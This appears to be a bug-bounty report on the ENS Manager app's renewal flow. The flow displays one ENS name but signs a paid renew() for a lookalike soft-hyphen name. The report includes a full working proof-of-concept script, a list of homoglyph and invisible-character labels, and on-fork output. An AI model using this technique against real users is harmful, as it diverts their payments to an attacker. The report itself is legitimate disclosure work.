93084 w a critical renewal flow signs a paid transaction against a different ens name than the one it resolves gates and displays
Submitted on Sep 14th 2026 at 07:43:30 UTC by @Naveen0x for Audit Competition | ENS
- Report ID: #93084
- Report Type: Websites & Apps
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/manager
- Impacts:
- Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient, such as: - resolving or rendering an ENS name to an attacker-controlled address - showing the wrong recipient or amount on a transaction the user then approves
Description
Brief/Intro
Everything needed to judge this report is contained in it. The source excerpts the argument depends on are quoted inline, the full proof of concept is included below, and so is its output and the environment it ran in. No attachments.
Summary
The Manager app's renewal route derives two different ENS names from one URL parameter. The reads go through ENSIP-15 normalization. The write does not.
/renew/$name hands the raw route parameter to parseName, whose entire normalization is trim().toLowerCase() plus an ASCII punctuation blocklist. That raw label is what ends up in the renew() calldata and in the price query. In the same loader, the parameter is separately normalized before expiry and ownership are read from chain. When those two forms disagree, the app resolves, gates, prices and displays one node while signing a paid transaction against another.
An attacker who registers a label that normalizes onto the victim's label, for instance the victim's name with a trailing soft hyphen (U+00AD), can send that victim a link that reads as their own name. The victim sees their own name, their own real expiry date, and no warning. They approve. Their payment extends the attacker's registration by a year. Their own name is untouched. The app then tells them the renewal succeeded and shows an expiry date that is not true of any name they own.
This is measured on a fork rather than inferred. The victim's expiry moves by 0 seconds and the attacker's by exactly the 31,536,000 purchased, read from the same registry the app itself reads.
Affected code
Component: apps/manager (Manager app), renewal flow. Entry points are /renew/$name and the /$name profile route that links into it.
normalize from viem/ens is imported in exactly two files in the whole Manager app, profile/service/profileName.ts:1 and profile/service/setPrimaryName.ts:28. Every other name path goes through a homegrown parser.
The parser, at apps/manager/src/features/register-v2/utils/name-parser.ts:
// :11
const INVALID_LABEL_CHARS = /[&*@#$%^()[\]{}|\\:;"'<>?,=+~`!]/
// :46
const normalized = name.trim().toLowerCase()
toLowerCase() performs no UTS-46 mapping, no NFC composition, no label-extension check and no underscore-placement check. The character filter is an ASCII punctuation blocklist. The second validator, validateENSName at shared/registration/nameUtils.ts:90-143, repeats that same blocklist at line 132 and adds a three-code-point minimum at 124-130. Nothing on either path consults ENSIP-15.
A label containing a NUL byte passes both of the Manager's real validators.
The other files this report touches:
apps/manager/src/routes/renew/$name.tsx, the loader where the split happens.apps/manager/src/features/renew/utils/renewableName.ts:25-36, which returns the raw label untouched.apps/manager/src/features/renew/utils/thirdPartyRenewalWarning.ts:1-3, the suppressed consent gate.apps/manager/src/features/profile/service/profileOwner.ts:25,55-58, the normalizing ownership read that answers that gate.apps/manager/src/features/profile/service/profileExpiry.ts:54-57,77,104-110, the normalizing expiry read.packages/transaction-manager/.../registration.actors.ts:1020-1031, which encodes the calldata.PricingSummaryCard.tsx:10,17-22,28,39,42, the pre-signature display.RenewalDetails.tsx:15,23-32,50,69,105-108andRenewalCompletionBanner.tsx:13,16, the post-transaction confirmation.
The same missing normalization is present on /register/$name, recorded as an appendix with no severity claimed.
Root cause
The loader derives two names from one parameter
In apps/manager/src/routes/renew/$name.tsx, line 20 calls parseRenewableName(name), which calls parseName and produces the raw label. Lines 26 to 28 call profileExpiryQuery(name), which reads expiry for the normalized name. Line 52 passes the raw label and the normalized expiry together into canRenewV2Name(name, expiryDate). Lines 60 to 63 then return both from the same loader:
return { label: parsedName.value.label, currentExpiry: expiryData.expiry }
profileExpiry.ts:77 calls normalizeEth2LdName(name) and lines 104 to 110 read the registry with that normalized name, so currentExpiry belongs to the victim's real name. renewableName.ts:25-36 returns parseName's label untouched, so label belongs to the attacker's twin. RenewalPage.tsx:22-26 hands both to the same UI context at renewalUi.context.tsx:54, and from there every screen and the state machine take whichever they need.
The first screen renders one of them while pricing the other. PricingSummaryCard.tsx:10 takes currentExpiry from that context, lines 17 to 22 add the selected duration with getDurationExpiryDateForDisplay, and lines 28, 39 and 42 render "Renewing for expiring on ". That sentence is true of the victim's name and of nothing else on the page, and it is on screen at the moment the victim decides.
From there the raw label is never reconciled with anything. ConfirmPurchase.tsx:14 takes label from the renewal context, line 22 prices that raw label, and lines 63 to 72 send it into the machine as renewal.start. renewalUi.machine.ts:148-159 stores it as submissionData.label and lines 346 to 355 pass it to submitRenewal. It arrives here, at registration.actors.ts:1020-1031:
function encodeRenewData(
label: string,
duration: bigint,
paymentToken: Address,
): Hash {
const cleanLabel = label.replace('.eth', '')
return encodeFunctionData({
abi: ethRegistrarRenewSnippet,
functionName: 'renew',
args: [cleanLabel, duration, paymentToken, REFERER_ADDRESS],
})
}
There is no normalize() call anywhere on that path.
The consent gate is answered about the wrong name
This is the part that convinced me the project already treats this distinction as consequential.
The Manager ships an interstitial for exactly the situation of paying to extend somebody else's registration. From ThirdPartyRenewalDialog.tsx:64-70:
Renewing this name will add time to the current owner's registration. You won't gain ownership of the name, but you will make someone's day.
It is gated on one predicate. This is renew/utils/thirdPartyRenewalWarning.ts:1-3 in full:
export const shouldShowThirdPartyRenewalWarning = (
isOwner: boolean | undefined,
) => isOwner === false
ProfileRenewAction.tsx:66-78 renders the dialog when that returns true, and lines 80 to 88 render a plain link straight into the paid flow when it does not.
isOwner comes from the normalizing read. ProfileView.tsx:99-101 calls profileOwnerQuery(name). profileOwner.ts:25 normalizes before anything else:
const ethName = normalizeEthName(params.name)
Lines 55 to 58 then read ownership for that normalized name. ProfileView.tsx:119 compares the result against the connected wallet to produce isOwner, line 152 resolves it, line 230 hands it to ProfileActions.
So on the twin's profile page the ownership read returns the victim's ownership of their own real name, isOwner is true, shouldShowThirdPartyRenewalWarning returns false, and the one screen whose entire job is to say "you will not gain ownership of this name" never renders. The plain link rendered in its place carries the raw route parameter straight through, since ProfileRenewAction.tsx:83 passes params={{ name }}, so the twin reaches /renew/$name untouched. The consent gate and the money point at different names.
One limit on this argument, stated before someone else states it for me. The dialog is a profile-page gate, not a renewal-route gate. A link sent straight to /renew/<anything> skips it for any name at all, mine or a stranger's, and I do not count that against this bug. My claim is narrower. On the profile route, which is the ordinary way a user reaches renewal and the link I would send, the gate is not skipped. It is evaluated, and answered wrongly, because the question it asks is about a different name than the one the button will renew.
The success screen confirms a renewal that did not happen
SuccessStep.tsx:5-12 renders RenewalCompletionBanner and then RenewalDetails. The banner strings, at RenewalCompletionBanner.tsx:13 and :16, are "Renewal Complete!" and "The ENS domain has been successfully renewed."
RenewalDetails.tsx:50 renders the name from the raw label:
domainName={`${submissionData.label}.eth`}
Lines 23 to 32 compute the date from the victim's expiry:
expirationDate = getDurationExpiryDateForDisplay(
Number(submissionData.duration),
new Date(Number(currentExpiry) * 1000),
)
Lines 105 to 108 render that as the Expires date. Line 69 uses the same currentExpiry as the reference date for the Renewal Period label, so that line is wrong in the same way.
The result is a success screen that names the attacker's label and dates it from the victim's name. In the run below, the victim's real expiry does not move at all and the screen reports an expiry a year out. This is the strongest single fact in the report, and it is measured rather than argued.
Attack scenario
- The attacker registers the victim's label with a soft hyphen appended. U+00AD renders as nothing, so the name is visually identical. ENSIP-15 normalization maps it back to the victim's label.
labelhashdoes not. - The attacker sends the owner of the real name a link. Two targets work. The profile route is where the app decides whether to show its third-party renewal consent dialog. The
/renew/route drops straight into the paid flow. I use the profile link, because that is the path where the app's own guard is the thing that fails. - The loader parses the raw parameter for the label it will transact with, and separately normalizes it for the expiry read. The expiry read lands on the victim's real name. Every eligibility gate passes. Before the signature, the pricing screen renders a renewal date computed from the victim's genuine on-chain expiry, while the price beside it and the calldata behind the button are for the attacker's label.
- The victim approves. Their payment extends the attacker's name by a year. Their own name's expiry does not move.
- The success screen confirms the renewal, shows the raw twin label, and shows an Expires date computed from the victim's real expiry plus the purchased duration, asserted about a name whose expiry did not change.
Proof of Concept
Proof of Concept
Environment used for the proof of concept
Everything ran against a local anvil fork of Sepolia at chain id 11155111. No deployed ENS asset was contacted.
Node 22.18 or later is required, because the script relies on native TypeScript type stripping to import the app's own modules. My run was on Node v26.5.0. The script must sit in apps/manager/ so that the repository's pinned viem, @ensdomains/ensjs and date-fns, and the app's own source, all resolve from there.
Contracts read and written, all on the fork:
- ETHRegistrar:
0xa88553F454b77203B0D036A05c894d555EAAa2Cc - Payment token (USDC):
0x768F42455A2D082E23ceeF7d51e5787C82d67a39 - Resolver used at registration:
0x640294a2b2d87e7f522db3e3e3e876764bce170d - Registry: resolved through
getChainContractAddress({ chain, contract: 'ensRegistry' }), which is the same registry the app reads expiry from atprofileExpiry.ts:54-57
Accounts: the attacker is anvil's first default account, and the victim is index 2 of the standard anvil test mnemonic. Both are funded and both approve the registrar for the payment token in the harness. The script clears any EIP-7702 delegation squatted on those addresses on the forked chain first, because such a delegation reverts inside onERC1155Received and would otherwise break registration for reasons unrelated to this bug.
Duration in every case is one year, 31,536,000 seconds.
One point about what the script does and does not stub. It imports the real in-scope exports rather than transcribed copies: parseName, validateENSName, parseRenewableName, canRenewV2Name, shouldShowThirdPartyRenewalWarning, normalizeEth2LdName, getDurationExpiryDateForDisplay, and the Explorer's isValidEnsName. The two module hooks at the top supply only what a bundler would supply, namely the @/* alias from tsconfig.json and vitest.config.ts, extensionless specifiers, and a null stand-in for the .tsx icon module that nameUtils.ts imports but never calls, since Node cannot strip JSX. No logic under test is stubbed. I chose this over transcribing the functions so that a reviewer is checking the shipped code rather than my copy of it.
To run it:
anvil --fork-url <sepolia-rpc> --chain-id 11155111- Save the script below as
poc.mjsinapps/manager/ node poc.mjs
POC
/**
* PoC — Manager renewal: the app resolves, gates and displays one ENS node and
* signs a paid `renew()` against a different one.
*
* SETUP
* 1. anvil --fork-url <sepolia-rpc> --chain-id 11155111
* 2. Place this file in apps/manager/ (the repo's pinned viem, @ensdomains/ensjs,
* date-fns and the app's own source all resolve from there)
* 3. node poc.mjs (Node >= 22.18 — native TypeScript type stripping)
*
* PART 1 offline, run against the REAL in-scope apps/manager exports
* PART 2 on chain, with a before/after expiry control on BOTH names
* PART 3 appendix, no severity claimed
*/
import { readFileSync } from 'node:fs'
import { registerHooks } from 'node:module'
import { fileURLToPath, pathToFileURL } from 'node:url'
// ---------------------------------------------------------------------------
// Load the application's own modules — no transcription. Node strips the types;
// these two hooks only supply what a bundler would normally supply:
// resolve: the `@/*` -> `src/*` alias from tsconfig.json / vitest.config.ts,
// and extensionless / `.js`-spelled TypeScript specifiers
// load: a null stand-in for `.tsx` React components that a validator module
// imports but never calls (nameUtils.ts -> StableCoinsIcons.tsx).
// Node cannot strip JSX. No logic under test is stubbed.
// ---------------------------------------------------------------------------
const SRC = pathToFileURL(`${process.cwd()}/src/`).href
registerHooks({
resolve(spec, ctx, next) {
const cands = []
const push = (s) =>
cands.push(s, s.replace(/\.js$/, '.ts'), `${s}.ts`, `${s}.tsx`, `${s}/index.ts`)
if (spec.startsWith('@/')) push(SRC + spec.slice(2))
else push(spec)
let lastErr
for (const c of cands) {
try { return next(c, ctx) } catch (e) { lastErr = e }
}
throw lastErr
},
load(url, ctx, next) {
if (url.endsWith('.tsx')) {
const src = readFileSync(fileURLToPath(url), 'utf8')
const names = [...src.matchAll(/^export\s+(?:const|function|class)\s+([A-Za-z0-9_$]+)/gm)]
const body = names.map(([, n]) => `export const ${n} = () => null;`).join('\n')
return { format: 'module', shortCircuit: true, source: `${body}\nexport default null;\n` }
}
return next(url, ctx)
},
})
// ===== the real, in-scope apps/manager exports =============================
const { parseName } =
await import('./src/features/register-v2/utils/name-parser.ts')
const { validateENSName } =
await import('./src/features/shared/registration/nameUtils.ts')
const { parseRenewableName, canRenewV2Name } =
await import('./src/features/renew/utils/renewableName.ts')
const { shouldShowThirdPartyRenewalWarning } =
await import('./src/features/renew/utils/thirdPartyRenewalWarning.ts')
const { normalizeEth2LdName } =
await import('./src/features/profile/service/profileName.ts')
const { getDurationExpiryDateForDisplay } =
await import('./src/features/register-v2/utils/time.ts')
// the Explorer's validator, for contrast (apps/portal, also in scope)
const { isValidEnsName } =
await import('../portal/src/utils/token/isNormalized.ts')
const {
createPublicClient, createWalletClient, http, encodeFunctionData, parseAbi, labelhash,
} = await import('viem')
const { privateKeyToAccount, mnemonicToAccount } = await import('viem/accounts')
const { sepolia } = await import('viem/chains')
const { normalize } = await import('viem/ens')
const { extendChainWithEns, getChainContractAddress } = await import('@ensdomains/ensjs/chain')
const { getOwner: getOwnerV2 } = await import('@ensdomains/ensjs/public/v2')
const { format } = await import('date-fns')
const cp = (n) => String.fromCodePoint(n)
const esc = (s) => {
if (s == null) return String(s)
let out = ''
for (const ch of String(s)) {
const c = ch.codePointAt(0)
out += c >= 0x20 && c <= 0x7e ? ch : `\\u{${c.toString(16)}}`
}
return `"${out}"`
}
// the app's two validators, called exactly as the register/renew paths call them
const managerAccepts = (name) => parseName(name).isOk() && validateENSName(name) === null
// ===========================================================================
console.log('=== PART 1 — offline, against the REAL apps/manager exports ===\n')
// ===========================================================================
// --- 1.1 how wide the raw-vs-normalized divergence is ----------------------
// Each entry is tagged with the category a triager needs in order to decide
// whether it falls inside EXP-INPUT-005's enumeration ("homoglyphs,
// bidirectional-control and other control characters, and a single leading or
// trailing dot"). `ascii-structural` and `compat-mapping` fall outside it.
const corpus = new Map() // label -> category
const add = (label, cat) => { if (!corpus.has(label)) corpus.set(label, cat) }
// pure ASCII. ENSIP-15 underscore-placement and label-extension rules.
for (const s of ['fo_o', 'a_b_c', 'ab--cd', 'xn--a', '12--34', 'ab--']) add(s, 'ascii-structural')
// invisible / format / control characters
for (const n of [0x00ad, 0x200b, 0x200c, 0x200d, 0x2060, 0xfeff, 0xfe0f, 0xfe0e,
0x034f, 0x180e, 0x061c, 0x200e, 0x200f, 0x202a, 0x202b, 0x202c, 0x202d, 0x202e,
0x2066, 0x2067, 0x2068, 0x2069, 0x0000]) add(`ali${cp(n)}ce`, 'invisible/control')
// characters that LOOK like their ASCII target
for (const [from, to] of [['i', cp(0x0130)], ['l', cp(0x217c)], ['v', cp(0x2174)],
['o', cp(0x03bf)], ['e', cp(0x0435)], ['a', cp(0x0430)], ['i', cp(0x0131)]]) {
if ('alice'.includes(from)) add('alice'.replace(from, to), 'homoglyph')
add(to + 'alice', 'homoglyph')
}
// characters that DO NOT look like their ASCII target but normalization maps
// onto it anyway: fullwidth, circled, mathematical-bold, ligatures, long s.
for (const [from, to] of [['a', cp(0xff41)], ['c', cp(0xff43)], ['s', cp(0x017f)]]) {
if ('alice'.includes(from)) add('alice'.replace(from, to), 'compat-mapping')
add(to + 'alice', 'compat-mapping')
}
for (const n of [0x2460, 0x24b6, 0x1d400, 0x1d41a, 0x0132, 0xfb00]) {
add(cp(n) + 'alice', 'compat-mapping')
}
const classA = [] // accepted, but ENSIP-15 rejects the label outright
const classB = [] // accepted, but ENSIP-15 maps it onto a DIFFERENT label
for (const [label, cat] of corpus) {
const input = `${label}.eth`
const parsed = parseName(input)
if (parsed.isErr() || validateENSName(input) !== null) continue // Manager rejects it
const writes = parsed.value.label
let norm
try { norm = normalize(input).split('.')[0] }
catch { classA.push({ label, cat, writes, portalRejects: !isValidEnsName(input) }); continue }
if (writes !== norm) classB.push({ label, cat, writes, norm, portalRejects: !isValidEnsName(input) })
}
const all = [...classA, ...classB]
console.log(`corpus: ${corpus.size} accepted-and-divergent: ${all.length}\n`)
console.log(`CLASS A - buys a name no conformant client can resolve: ${classA.length}`)
for (const r of classA) console.log(` ${esc(r.label).padEnd(30)} registers ${esc(r.writes)}`)
console.log(`\nCLASS B - transacts on a different node than displayed: ${classB.length}`)
for (const r of classB) {
console.log(` ${esc(r.label).padEnd(26)} registers ${esc(r.writes).padEnd(26)} displayed-as ${esc(r.norm)}`)
}
console.log(`\nOf these ${all.length}, the Explorer's validator would have rejected ` +
`${all.filter((r) => r.portalRejects).length}.`)
const byCat = {}
for (const r of all) byCat[r.cat] = (byCat[r.cat] ?? 0) + 1
console.log('\nBy input category (which of these are inside EXP-INPUT-005\'s enumeration?):')
for (const [cat, n] of Object.entries(byCat)) console.log(` ${cat.padEnd(20)} ${n}`)
const outside = all.filter((r) => r.cat === 'ascii-structural' || r.cat === 'compat-mapping')
console.log(` -> ${outside.length} of ${all.length} are neither homoglyphs, nor bidirectional-control`)
console.log(' or other control characters, nor a leading/trailing dot.')
// --- 1.2 the renewal twin, through the real route-loader functions ---------
console.log('\n\n--- 1.2 renew/$name loader, real functions, on the twin ---\n')
const VLABEL = 'victim'
const TWIN = `victim${cp(0x00ad)}` // U+00AD SOFT HYPHEN: renders as nothing
const twinName = `${TWIN}.eth`
const farFuture = new Date(Date.now() + 200 * 86400_000)
console.log(` route param ${esc(twinName)}`)
console.log(` parseRenewableName(param).label -> ${esc(parseRenewableName(twinName)._unsafeUnwrap().label)} <- RAW, goes to renew() calldata`)
console.log(` normalizeEth2LdName(param).name -> ${esc(normalizeEth2LdName(twinName).name)} <- NORMALIZED, what the expiry read + display use`)
console.log(` canRenewV2Name(param, expiry) -> ${canRenewV2Name(twinName, farFuture)} <- eligibility gate passes`)
console.log(` labelhash(raw) ${labelhash(TWIN)}`)
console.log(` labelhash(normal) ${labelhash(VLABEL)}`)
// --- 1.3 the consent gate the project itself shipped ----------------------
console.log('\n--- 1.3 ThirdPartyRenewalDialog consent gate ---\n')
console.log(` shouldShowThirdPartyRenewalWarning(false) -> ${shouldShowThirdPartyRenewalWarning(false)} (dialog shown: "You won't gain ownership of the name")`)
console.log(` shouldShowThirdPartyRenewalWarning(true) -> ${shouldShowThirdPartyRenewalWarning(true)} (no dialog, plain link straight into the paid flow)`)
console.log(' isOwner is derived from profileOwner.ts getOwner(), which normalizes first')
console.log(' (profileOwner.ts:25). On the twin\'s page that read returns the VICTIM\'s own')
console.log(' ownership, so isOwner === true and the interstitial never renders. (code-traced)')
// ===========================================================================
console.log('\n\n=== PART 2 — on chain ===\n')
// ===========================================================================
const RPC = process.env.RPC_URL ?? 'http://127.0.0.1:8545'
const chain = extendChainWithEns(sepolia)
const pub = createPublicClient({ chain, transport: http(RPC) })
const attacker = privateKeyToAccount('0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80')
const victim = mnemonicToAccount('test test test test test test test test test test test junk', { addressIndex: 2 })
const REG = '0xa88553F454b77203B0D036A05c894d555EAAa2Cc'
const USDC = '0x768F42455A2D082E23ceeF7d51e5787C82d67a39'
const RES = '0x640294a2b2d87e7f522db3e3e3e876764bce170d'
const ZERO = '0x0000000000000000000000000000000000000000'
const ZH = `0x${'00'.repeat(32)}`
// the same registry the app reads expiry from (profileExpiry.ts:54-57)
const REGISTRY = getChainContractAddress({ chain, contract: 'ensRegistry' })
const regAbi = parseAbi([
'function makeCommitment(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, bytes32 referrer) pure returns (bytes32)',
'function commit(bytes32 commitment)',
'function isAvailable(string label) view returns (bool)',
'function getRenewPrice(string label, uint64 duration, address paymentToken) view returns (uint256)',
'function register(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, address paymentToken, bytes32 referrer) returns (uint256)',
'function renew(string label, uint64 duration, address paymentToken, bytes32 referrer)',
])
const registryAbi = parseAbi(['function getExpiry(uint256 id) view returns (uint64)'])
const tokAbi = parseAbi([
'function mint(address to,uint256 amount)',
'function approve(address spender,uint256 amount) returns (bool)',
'function balanceOf(address) view returns (uint256)',
])
const rpc = (m, p) => fetch(RPC, {
method: 'POST', headers: { 'content-type': 'application/json' },
body: JSON.stringify({ jsonrpc: '2.0', id: 1, method: m, params: p }),
}).then((r) => r.json())
const wc = (a) => createWalletClient({ account: a, chain, transport: http(RPC) })
const send = async (w, to, data) => {
const h = await w.sendTransaction({ to, data })
const r = await pub.waitForTransactionReceipt({ hash: h })
if (r.status !== 'success') throw new Error('reverted')
return r
}
const prep = async (acct) => {
// anvil forks inherit EIP-7702 delegations squatted on the test accounts;
// they revert inside onERC1155Received. Clear them.
await rpc('anvil_setCode', [acct.address, '0x'])
await rpc('anvil_setBalance', [acct.address, `0x${(10n ** 20n).toString(16)}`])
await send(wc(attacker), USDC, encodeFunctionData({ abi: tokAbi, functionName: 'mint', args: [acct.address, 50_000_000_000n] }))
await send(wc(acct), USDC, encodeFunctionData({ abi: tokAbi, functionName: 'approve', args: [REG, 50_000_000_000n] }))
}
const DUR = 31536000n
const register = async (acct, label) => {
const secret = `0x${'33'.repeat(32)}`
const cm = await pub.readContract({ address: REG, abi: regAbi, functionName: 'makeCommitment', args: [label, acct.address, secret, ZERO, RES, DUR, ZH] })
await send(wc(acct), REG, encodeFunctionData({ abi: regAbi, functionName: 'commit', args: [cm] }))
await rpc('evm_increaseTime', [90]); await rpc('evm_mine', [])
await send(wc(acct), REG, encodeFunctionData({ abi: regAbi, functionName: 'register', args: [label, acct.address, secret, ZERO, RES, DUR, USDC, ZH] }))
}
// expiry exactly as the app reads it: registry.getExpiry(uint256(labelhash(label)))
const expiryOf = async (label) => pub.readContract({
address: REGISTRY, abi: registryAbi, functionName: 'getExpiry', args: [BigInt(labelhash(label))],
})
const asDate = (secs) => (secs === 0n ? 'not registered' : new Date(Number(secs) * 1000).toISOString())
await prep(attacker); await prep(victim)
const SUF = String(Math.floor(Math.random() * 1e6))
const BASE = `renewdemo${SUF}` // the victim's real name
const IMPOSTOR = `${BASE}${cp(0x00ad)}` // the attacker's twin
console.log(` victim name : ${JSON.stringify(`${BASE}.eth`)}`)
console.log(` attacker name: ${esc(`${IMPOSTOR}.eth`)} (renders identically)`)
console.log(` normalize(attacker name) -> ${JSON.stringify(normalize(`${IMPOSTOR}.eth`))}`)
console.log(` labelhash differ: ${labelhash(BASE)} vs ${labelhash(IMPOSTOR)}\n`)
await register(victim, BASE)
await register(attacker, IMPOSTOR)
// --- what the app has in hand when the victim opens /renew/<twin>.eth ------
const loaderLabel = parseRenewableName(`${IMPOSTOR}.eth`)._unsafeUnwrap().label
const loaderExpiry = await expiryOf(normalizeEth2LdName(`${IMPOSTOR}.eth`).label)
console.log(' /renew/$name loader output (real functions + real chain reads):')
console.log(` label = ${esc(loaderLabel)} -> renew() calldata`)
console.log(` currentExpiry= ${loaderExpiry} (${asDate(loaderExpiry)}) <- the VICTIM's name\n`)
// --- BEFORE ---------------------------------------------------------------
const vBefore = await expiryOf(BASE)
const aBefore = await expiryOf(IMPOSTOR)
const balBefore = await pub.readContract({ address: USDC, abi: tokAbi, functionName: 'balanceOf', args: [victim.address] })
console.log(' BEFORE')
console.log(` victim ${esc(`${BASE}.eth`)} expiry ${vBefore} (${asDate(vBefore)})`)
console.log(` attacker ${esc(`${IMPOSTOR}.eth`)} expiry ${aBefore} (${asDate(aBefore)})`)
// --- what the app shows BEFORE the signature ------------------------------
// PricingSummaryCard.tsx:10 currentExpiry, straight from the renewal context
// :17-22 getDurationExpiryDateForDisplay(duration, that expiry)
// :28/:39/:42 "Renewing for <duration> expiring on <date>"
const shownPre = getDurationExpiryDateForDisplay(
Number(DUR),
new Date(Number(loaderExpiry) * 1000),
)
console.log('\n PRICING SCREEN, BEFORE THE SIGNATURE (the app\'s own function, the app\'s own inputs):')
console.log(` "Renewing for <1 year> expiring on ${format(shownPre, 'MMMM d, yyyy')}" <- from the VICTIM's expiry`)
console.log(` price + calldata on the same screen use label ${esc(loaderLabel)} <- the ATTACKER's registration`)
// --- the victim signs -----------------------------------------------------
let outcome
let price = 0n
try {
price = await pub.readContract({ address: REG, abi: regAbi, functionName: 'getRenewPrice', args: [loaderLabel, DUR, USDC] })
await send(wc(victim), REG, encodeFunctionData({ abi: regAbi, functionName: 'renew', args: [loaderLabel, DUR, USDC, ZH] }))
outcome = 'SUCCEEDED'
} catch (e) { outcome = `REVERTED (${String(e.message).split('\n')[0].slice(0, 60)})` }
const vAfter = await expiryOf(BASE)
const aAfter = await expiryOf(IMPOSTOR)
const balAfter = await pub.readContract({ address: USDC, abi: tokAbi, functionName: 'balanceOf', args: [victim.address] })
console.log(`\n victim signs renew(${esc(loaderLabel)}, 1 year, USDC) -> ${outcome}`)
console.log('\n AFTER')
console.log(` victim ${esc(`${BASE}.eth`)} expiry ${vAfter} (${asDate(vAfter)}) delta ${vAfter - vBefore}s`)
console.log(` attacker ${esc(`${IMPOSTOR}.eth`)} expiry ${aAfter} (${asDate(aAfter)}) delta ${aAfter - aBefore}s`)
console.log(` victim USDC spent: ${(balBefore - balAfter).toString()} (6 decimals), price quoted ${price}`)
// --- what the app tells the victim afterwards -----------------------------
// RenewalDetails.tsx:23-32 + :50 + :105-108, rendered by SuccessStep.tsx:8-9
const shown = getDurationExpiryDateForDisplay(Number(DUR), new Date(Number(loaderExpiry) * 1000))
console.log('\n SUCCESS SCREEN (computed with the app\'s own getDurationExpiryDateForDisplay):')
console.log(' "Renewal Complete! The ENS domain has been successfully renewed."')
console.log(` DomainCard domainName = ${esc(`${loaderLabel}.eth`)} <- RAW twin label`)
console.log(` Expires = ${format(shown, 'MMMM d, yyyy')} <- victim's expiry + 1y`)
console.log(` victim's ACTUAL new expiry = ${asDate(vAfter)}`)
// --- negative control: same flow, twin not registered ---------------------
const NEVER = `neverreg${SUF}${cp(0x00ad)}`
let caseA
try {
await send(wc(victim), REG, encodeFunctionData({ abi: regAbi, functionName: 'renew', args: [NEVER, DUR, USDC, ZH] }))
caseA = 'SUCCEEDED'
} catch { caseA = 'REVERTED' }
console.log(`\n NEGATIVE CONTROL — identical flow, twin never registered: renew() ${caseA}`)
console.log('\n=== RESULT ===')
if (balBefore - balAfter > 0n && aAfter > aBefore && vAfter === vBefore) {
console.log("The victim paid. The ATTACKER's registration gained the time.")
console.log("The victim's own name gained nothing and keeps expiring.")
console.log('The app then displayed the raw twin label with a renewed expiry date.')
} else {
console.log('Preconditions not met on this run — see the deltas above.')
}
// ===========================================================================
console.log('\n\n=== PART 3 — appendix (no severity claimed) ===\n')
// The same missing normalization on the REGISTRATION path. There is no attacker
// and no victim here: the user receives exactly the label shown to them. It is
// recorded only because it is the same one-line defect, cheaply demonstrated.
// ===========================================================================
for (const stem of ['fo_o', 'ab--cd', 'plain']) {
const label = stem + SUF
const accepted = managerAccepts(`${label}.eth`)
let normVerdict
try { normVerdict = `normalize -> ${JSON.stringify(normalize(`${label}.eth`))}` }
catch { normVerdict = 'normalize THROWS' }
const avail = await pub.readContract({ address: REG, abi: regAbi, functionName: 'isAvailable', args: [label] })
let outcome2
try { await register(attacker, label); outcome2 = 'REGISTERED' } catch { outcome2 = 'register reverted' }
let lookup
try { lookup = JSON.stringify(await getOwnerV2(pub, { name: normalize(`${label}.eth`) })) }
catch { lookup = 'UNRESOLVABLE by any conformant client' }
console.log(` ${esc(label).padEnd(16)} manager-accepts=${accepted} ${normVerdict.padEnd(34)} isAvailable=${avail} ${outcome2}`)
console.log(` ${''.padEnd(16)} conformant lookup: ${lookup}`)
}
console.log('\n ("plain" is the control: it registers AND resolves, so the harness is sound)')
Proof of concept output
Part 1: how wide the divergence is
corpus: 52 accepted-and-divergent: 51
CLASS A - buys a name no conformant client can resolve: 32
CLASS B - transacts on a different node than displayed: 19
Of these 51, the Explorer's validator would have rejected 51.
By input category:
ascii-structural 6
invisible/control 22
homoglyph 12
compat-mapping 11
-> 17 of 51 are neither homoglyphs, nor bidirectional-control
or other control characters, nor a leading/trailing dot.
The category tagging is mine, not the program's, so I will state the rule I used. ascii-structural covers fo_o, a_b_c, ab--cd, xn--a, 12--34 and ab--, which are plain ASCII letters, digits, hyphens and underscores rejected by ENSIP-15 for underscore placement and label extension. compat-mapping covers fullwidth, circled, mathematical-bold, ligature and long-s characters, which are visually distinct from the ASCII letters normalization maps them onto, so they are not homoglyphs in any ordinary sense.
Part 2: on chain, with a before and after control on both names
This is the stdout of a real run. The label suffix is randomised per run and the timestamps depend on when the fork was taken, so a reviewer's own output will differ in the label and the dates and in nothing else. The deltas are the invariant part.
victim name : "renewdemo529736.eth"
attacker name: "renewdemo529736\u{ad}.eth" (renders identically)
normalize(attacker name) -> "renewdemo529736.eth"
labelhash differ: 0xecc7c95f133c3ed761cef1ad88673255a118894dda83aa001b956c647fa462a7 vs 0x6c4564632d3e83bb3d092e0848b43fe067a9d9b98ad49d1454f72a7c10d9f1a4
/renew/$name loader output (real functions + real chain reads):
label = "renewdemo529736\u{ad}" -> renew() calldata
currentExpiry= 1820771640 (2027-09-12T17:54:00.000Z) <- the VICTIM's name
BEFORE
victim "renewdemo529736.eth" expiry 1820771640 (2027-09-12T17:54:00.000Z)
attacker "renewdemo529736\u{ad}.eth" expiry 1820771733 (2027-09-12T17:55:33.000Z)
PRICING SCREEN, BEFORE THE SIGNATURE (the app's own function, the app's own inputs):
"Renewing for <1 year> expiring on September 11, 2028" <- from the VICTIM's expiry
price + calldata on the same screen use label "renewdemo529736\u{ad}" <- the ATTACKER's registration
victim signs renew("renewdemo529736\u{ad}", 1 year, USDC) -> SUCCEEDED
AFTER
victim "renewdemo529736.eth" expiry 1820771640 (2027-09-12T17:54:00.000Z) delta 0s
attacker "renewdemo529736\u{ad}.eth" expiry 1852307733 (2028-09-11T17:55:33.000Z) delta 31536000s
victim USDC spent: 8000021 (6 decimals), price quoted 8000021
SUCCESS SCREEN (computed with the app's own getDurationExpiryDateForDisplay):
"Renewal Complete! The ENS domain has been successfully renewed."
DomainCard domainName = "renewdemo529736\u{ad}.eth" <- RAW twin label
Expires = September 11, 2028 <- victim's expiry + 1y
victim's ACTUAL new expiry = 2027-09-12T17:54:00.000Z
NEGATIVE CONTROL - identical flow, twin never registered: renew() REVERTED
The <1 year> span is mine. That one span is rendered by DurationLabel, a React component, and the script computes values rather than rendering components. Every other string and date in that block is the app's own function output.
The two expiry reads are the control that matters. The victim's name moves by 0 seconds and the attacker's by exactly the purchased 31,536,000, read from the same registry the app itself reads. The claim is measured, not inferred from the calldata label.
